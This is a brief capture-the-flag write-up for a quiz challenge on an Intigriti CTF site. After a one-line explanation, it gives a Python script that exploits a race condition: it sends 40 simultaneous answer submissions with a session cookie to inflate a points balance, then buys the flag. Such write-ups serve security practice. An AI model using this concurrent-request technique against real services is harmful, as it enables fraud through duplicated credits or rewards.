Tags: race condition 

Rating:

its basically a race condtion where we can submit an answer multiple times simultaneously to get the required amount of points to buy the flag.
```
from multiprocessing.dummy import Pool as ThreadPool
import requests

cookies = {
'connect.sid': 's%3AnnRHaf1b6sSp9X5EvB4MRWdEOMoy3dTr.G6%2B5ZGnaCDriHK5ozGxb%2B3FCoFjBs0ln9i7qcM3%2BGuw',
}

headers = {
'Host': 'quiz.ctf.intigriti.io',
'Content-Length': '0',
'Sec-Ch-Ua': '" Not A;Brand";v="99", "Chromium";v="90"',
'Sec-Ch-Ua-Mobile': '?0',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36',
'Accept': '*/*',
'Origin': 'https://quiz.ctf.intigriti.io',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Referer': 'https://quiz.ctf.intigriti.io/welcome',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9',
'Connection': 'close',
}

json_data = {
'questionNumber': 1,
'answer': 'monthly',
}
def runner(d):
r1 = requests.post('https://quiz.ctf.intigriti.io/submitAnswer', headers=headers, cookies=cookies,json=json_data)
print(r1.text)
pool = ThreadPool(40)
result = pool.map_async( runner, range(40) ).get(0xffff)
r2 = requests.get('https://quiz.ctf.intigriti.io/buyFlag', headers=headers, cookies=cookies)
print(r2.text)
```